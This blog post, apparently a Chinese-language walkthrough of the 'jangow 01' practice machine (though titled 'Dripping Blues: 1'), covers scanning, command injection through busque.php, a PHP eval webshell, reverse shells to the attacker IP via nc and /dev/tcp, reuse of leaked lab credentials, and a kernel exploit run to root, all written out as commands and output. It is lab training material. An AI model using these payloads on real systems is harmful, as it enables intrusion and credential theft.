Dripping Blues: 1

Posted by axlfpe on 2025-06-22
Estimated Reading Time 7 Minutes
Words 1.5k In Total
Viewed Times

jangow 01

攻击机ip:192.168.108.50

靶机ip: 192.168.108.140

1
2
3
4
5
6
7
8
9
10
11
12
Kal ddddx ~ ❯ export ip=192.168.108.140
Kal ddddx ~ ❯ nmap $ip ✘ INT took 23s at 16:26:01
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-19 16:26 CST
Nmap scan report for 192.168.108.140
Host is up (0.00090s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 08:00:27:7C:E9:C5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 4.98 seconds

开放了21和80端口,ftp和http,先访问80端口看看

图片.png

已暴露 Apache/2.4.18 (Ubuntu),可以用于版本指纹识别或 CVE 匹配(如 CVE-2017-3167、CVE-2017-7679)
site点进去是一个普通的网站,带一个搜索框

图片.png

没找到其他信息,开始目录爆破,都是一些常规的默认目录,再尝试扫描=下一级目录,无果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Kal ddddx ~ ❯ dirsearch -u http://192.168.108.140/site/ -w /usr/share/wordlists/dirb/big.txt       took 10s at 08:28:30
/home/ddddx/tools/dirsearch/lib/core/installation.py:24: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 20469

Target: http://192.168.108.140/

[08:28:38] Scanning: site/
[08:28:38] 403 - 280B - /site/.htaccess
[08:28:38] 403 - 280B - /site/.htpasswd
[08:28:40] 301 - 324B - /site/assets -> http://192.168.108.140/site/assets/
[08:28:43] 301 - 321B - /site/css -> http://192.168.108.140/site/css/
[08:28:48] 301 - 320B - /site/js -> http://192.168.108.140/site/js/
[08:28:58] 301 - 327B - /site/wordpress -> http://192.168.108.140/site/wordpress/

查看一下网页源码,发现当前的整个网站里唯一有动态后端交互的是 busque.php

1
<li class="nav-item"><a class="nav-link" href="busque.php?buscar=">Buscar</a></li>

使用sqlmap查看一下能否sql注入,发现显示,没有注入点
测试是否调用 include($_GET['buscar']) 类似逻辑,无效

最后发现是命令执行,尝试反弹shell,发现无效,可能做了限制,尝试绕过,

图片.png

图片.png

图片.png

1
2
http://192.168.108.140/site/busque.php?buscar=ls%20-al
http://192.168.108.140/site/busque.php?buscar=which%20busybox

发现对空格没限制,ip地址也没限制,但就是无法绕过,将busque.php加密后输出再解密还原,发现就简单的处理,并没有在这上面做限制,尝试创建和写入文件,发现可以,但是也无法建立shell,那我们就考虑到可能做了端口的限制

图片.png

1
2
3
4
cat << EOF > /tmp/xxx.sh
#!/bin/sh
busybox nc 192.168.108.50 4444 -e /bin/sh
EOF
1
2
http://192.168.108.140/site/busque.php?buscar=cat%20%3C%3C%20EOF%20%3E%20/tmp/xxx.sh#!/bin/shbusybox%20sh%20-i%20%3E&%20/dev/tcp/192.168.108.50/4444%200%3E&1EOF
http://192.168.108.140/site/busque.php?buscar=chmod%20+x%20/tmp/xxx.sh

换个思路,写入一句话木马,使用蚁剑成功连接,打开终端,尝试建立反向shell,考虑到开放了80端口,那就很有可能也开放了443端口,攻击机监听443端口,成功连接到jangow01,继续寻找信息来为我们后续提权做铺垫

1
2

echo '<?php @eval($_REQUEST['cmd']); ?>' > xxx.php

图片.png

1
2
3
www-data:/bin/) $ bash -c 'bash -i >& /dev/tcp/192.168.108.50/443 0>&1'
Kal ddddx ~ ❯ pwncat-cs -l -p 443
(remote) www-data@jangow01:/bin$

进入wordpress,发现config文件,查看一下,发现了泄露的数据,看样子是数据库的账户名密码,尝试寻找登录入口,发现了一个在html下的备份文件,看样子是老的密码,但苦恼的是我们目前并没有拿到任何登录的后台,有且仅有一个21端口登录,尝试ftp连接一下,发现使用$username = "jangow01";$password = "abygurl69";可以连接

图片.png

图片.png

ftp逛了一圈,没啥东西,尝试终端提权,因为之前已经拿到了jangow01的密码,直接su到jangow01看看,先把userflag拿了,查看提权方法,不被允许执行尝试上传linpeas.sh

但由于防火墙的存在,我们这里使用ftp传,作者应该也是这样想的,要不然也没必要开个ftp

1
2
3
4
jangow01@jangow01:~$ ls
user.txt
jangow01@jangow01:~$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e
1
2
3
4
jangow01@jangow01:/bin$ sudo -l
sudo: não foi possível resolver máquina jangow01: Conexão recusada
[sudo] senha para jangow01:
Sinto muito, usuário jangow01 não pode executar sudo em jangow01.

图片.png

1
2
3
4
5
6
7
ftp> put linpeas.sh
local: linpeas.sh remote: linpeas.sh
229 Entering Extended Passive Mode (|||59048|)
150 Ok to send data.
100% |**************| 820 KiB 36.18 MiB/s 00:00 ETA
226 Transfer complete.
840082 bytes sent in 00:00 (30.82 MiB/s)
1
2
jangow01@jangow01:/tmp$ chmod +x linpeas.sh
jangow01@jangow01:/tmp$ ./linpeas.sh > linpeas.log 2>&1
  • Linux内核漏洞:内核版本较旧(4.4.0-31),存在多个已知漏洞(如脏牛(dirtycow)、eBPF_verifier等)
  • Sudo版本:1.8.16,可能存在CVE-2021-3156(Baron Samedit)漏洞

传入eBPF_verifier的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
jangow01@jangow01:/tmp$ gcc 45010.c -o 111
jangow01@jangow01:/tmp$ ./111
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88003ad14e00
[*] Leaking sock struct from ffff88003bc46780
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff88003dac0780
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff88003dac0780
[*] credentials patched, launching shell...
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$ id
uid=0(root) gid=0(root) grupos=0(root),1000(desafio02)
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$ whoami
root
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$ cd /root
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$ ls
proof.txt
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$ cat proof.txt
@@@&&&&&&&&&&&&&&&&&&&@@@@@@@@@@@@@@@&&&&&&&&&&&&&&
@ @@@@@@@@@@@@@@@&# #@@@@@@@@&(. /&@@@@@@@@@@
@ @@@@@@@@@@&( .@@@@@@@@&%####((//#&@@@& .&@@@@@
@ @@@@@@@& @@@@@@&@@@@@&%######%&@* ./@@* &@@
@ @@@@@* (@@@@@@@@@#/. .*@. .#&. &@@@&&
@ @@@, /@@@@@@@@#, .@. ,&, @@&&
@ @& @@@@@@@@#. @@@,@@@/ %. #, %@&
@@@# @@@@@@@@/ .@@@@@@@@@@ * ., @@
@@& @@@@@@@@* @@@@@@@@@@@ , @
@& .@@@@@@@( @@@@@@@@@@@@@@@@@@@@@ *. &@
@@/ *@@@@@@@/ @@@@@@@@@@@# @@
@@ .@@@@@@@/ @@@@@@@@@@@@@ @# @@
@@ @@@@@@@@. @@@@@@@@@@@ @@( @@
@& .@@@@@@@@. , @@@@@@@ * .@@@*( .@
@@ ,@@@@@@@@, @@@@@@@@@&*%@@@@@@@@@, @@@@@(%&* &@
@@& @@@@@@@@@@@@@@@@@ (@@@@@@@@@@@@@@%@@/ &@
@ @& ,@@@@@@@@@@@@@@@,@@@@@@@&%@@@@@@@@@@@@@@@%* &@
@ @@. .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%* &@&
@ @@@& ,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%/ &@@&&
@ @@@@@@. *%@@@@@@@@@@@@@@@@@@@@&#/. &@@@@&&
@ @@@@@@@@& JANGOW &@@@
@ &&&&&&&&&@@@& @@(&@ @. %.@ @@%@ &@@@&&&&
&&&@@@@&% &/ (&&@@@&&&
(((((((((((((((((((((((((((((

da39a3ee5e6b4b0d3255bfef95601890afd80709
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]$

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !